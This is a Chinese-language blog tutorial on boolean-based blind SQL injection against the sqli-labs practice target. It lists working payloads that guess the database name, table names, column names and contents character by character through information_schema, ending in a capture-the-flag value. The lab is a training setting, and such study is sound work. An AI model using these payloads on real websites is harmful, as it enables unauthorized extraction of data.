盲注对应的是显错注入,web服务器关闭了错误回显。
盲注可分为布尔注入、报错注入、时间盲注(加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确)
常用函数:
length():返回字符串的长度
substr():截取字符串(语法:substr(str,pos,len))
ascii():返回字符的ascii码
sleep():将程序挂起一段时间
if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第2个语句,否则执行第3个语句。
以sqlilabs的盲注靶场为例:
首先?id=1' --+ 判断是否有注入点 (x表示数字)
如图说明有注入点,但没有回显这时我们就要利用盲注来来进行
利用:and (length(database()))>x--+ 来猜数据库的长度
如下说明有数据库名称长度=八位
二.利用ASCII码来猜数据库名称:and (ascii(substr(database(),1,1)))=x--+
猜数据库的第一个字母
对照ASCII码表可以知道第一个字母为s
and (ascii(substr(database(),2,1)))=x--+
|
|
|
循环如此得到数据库的名称为security
三.猜表名: and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=x--+
.............
得到表名:emails,referers,uagents,users,zkaq
四:猜字段:and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=x --+
.............
得到列名:flag,zKaQ
五:猜内容:and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=x--+
得到flag
盲注2
来源:https://www.cnblogs.com/pyh123456/p/12298478.html